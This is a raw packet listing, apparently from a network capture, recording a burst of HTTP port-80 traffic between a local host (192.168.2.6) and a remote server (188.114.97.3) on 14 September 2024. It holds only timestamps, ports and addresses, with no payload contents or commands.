Sep 14, 2024 18:44:10.515434980 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.515469074 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.515479088 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.515503883 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.515537024 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.515569925 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.515602112 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.515618086 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.515638113 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.515640974 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.515691996 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.515721083 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.515753031 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.515785933 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.515796900 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.515820980 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.515863895 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.515871048 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.515902996 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.515934944 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.515943050 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.515969992 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.516011000 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.516024113 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.516055107 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.516088009 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.516108036 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.516139030 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.516172886 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.516181946 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.516210079 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.516242981 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.516256094 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.516279936 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.516314983 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.516320944 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.516510963 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.516542912 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.516576052 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.516587019 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.516612053 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.516644001 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.516673088 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.516695976 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.516699076 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.516732931 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.516767979 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.516777039 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.516802073 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.516838074 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.516849995 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.516884089 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.516915083 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.516933918 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.516951084 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.516984940 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.516993999 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.553587914 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.553643942 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.553683996 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.553719044 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.553735018 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.553756952 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.553774118 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.553792953 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.553828955 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.553922892 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.553939104 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.554883003 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.554914951 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.554965973 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.555003881 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.555041075 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.555047989 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.555057049 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.555078030 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.555114985 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.555124044 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.555151939 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.555196047 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.555552006 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.555608034 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.555639029 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.555687904 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.555711031 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.555723906 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.555733919 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.555761099 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.555792093 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.555805922 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.555830002 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.555872917 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.597388983 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.597424984 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.597477913 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.597521067 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.597570896 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.597599030 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.597599030 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.597606897 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.597645044 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.597659111 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.597697020 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.597733021 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.597738981 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.597768068 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.597810030 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.597820044 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.597853899 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.597882986 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.597910881 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.597914934 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.597954035 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.597955942 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.597986937 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.598036051 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.598037004 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.598066092 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.598103046 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.598109007 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.598138094 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.598170996 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.598184109 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.598202944 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.598241091 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.598253012 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.598275900 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.598315954 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.598323107 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.598347902 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.598381042 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.598391056 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.598417044 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.598453999 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.598455906 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.598485947 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.598519087 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.598526955 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.598552942 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.598597050 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.598678112 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.598726988 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.598764896 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.598766088 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.598802090 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.598834991 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.598850965 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.598872900 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.598906040 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.598912001 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.599004030 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.599050999 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.599055052 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.599087954 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.599122047 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.599134922 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.599154949 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.599191904 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.599200964 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.599242926 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.599275112 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.599287033 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.599307060 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.599339962 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.599353075 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.599378109 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.599422932 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.599427938 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.599458933 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.599492073 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.599507093 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.599524975 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.599582911 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.599638939 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.599687099 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.599720001 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.599735022 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.599752903 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.599788904 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.599806070 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.599821091 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.599853039 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.599868059 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.599884987 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.599920034 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.599932909 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.600172043 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.600203991 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.600239038 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.600239038 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.600274086 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.600290060 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.600308895 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.600343943 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.600358009 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.600392103 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.600425005 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.600439072 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.600461960 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.600509882 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.600511074 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.600548029 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.600579977 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.600613117 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.600615025 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.600645065 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.600656033 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.600677967 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.600713968 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.600720882 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.600745916 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.600780010 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.600791931 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.600811958 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.600845098 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.600857019 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.600878954 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.600914955 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.600920916 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.600948095 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.600980043 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.600989103 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.601011038 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.601042032 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.601058960 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.601075888 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.601109028 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.640696049 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.642210007 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.642273903 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.642309904 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.642334938 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.642348051 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.642384052 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.642395973 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.642416954 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.642451048 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.642499924 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.643420935 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.643474102 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.643485069 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.643511057 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.643560886 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.643562078 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.643596888 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.643629074 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.643663883 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.643682003 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.643731117 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.643737078 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.644017935 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.644073963 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.644083977 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.644105911 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.644161940 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.644176960 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.644205093 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.644253016 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.644262075 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.644294024 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.644326925 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.644339085 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.685937881 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.685967922 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.686008930 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.686023951 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.686084986 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.686119080 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.686167955 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.686201096 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.686239004 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.686256886 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.686256886 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.686276913 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.686290026 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.686326981 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.686336994 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.686379910 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.686413050 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.686424971 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.686445951 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.686481953 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.686490059 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.686537027 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.686578035 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.686597109 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.686645031 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.686681032 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.686692953 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.686736107 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.686772108 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.686781883 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.686820984 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.686852932 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.686865091 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.686891079 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.686933994 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.686939955 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.686970949 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.687010050 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.687012911 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.687057972 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.687093973 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.687100887 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.687141895 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.687181950 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.687190056 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.687218904 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.687263966 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.687271118 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.687305927 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.687342882 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.687350035 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.687376022 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.687426090 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.687433004 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.687474966 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.687506914 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.687525034 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.687541008 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.687588930 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.687591076 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.687623978 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.687657118 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.687679052 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.687693119 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.687740088 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.687741995 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.687773943 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.687807083 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.687814951 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.687843084 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.687875986 CEST	80	49722	188.114.97.3	192.168.2.6
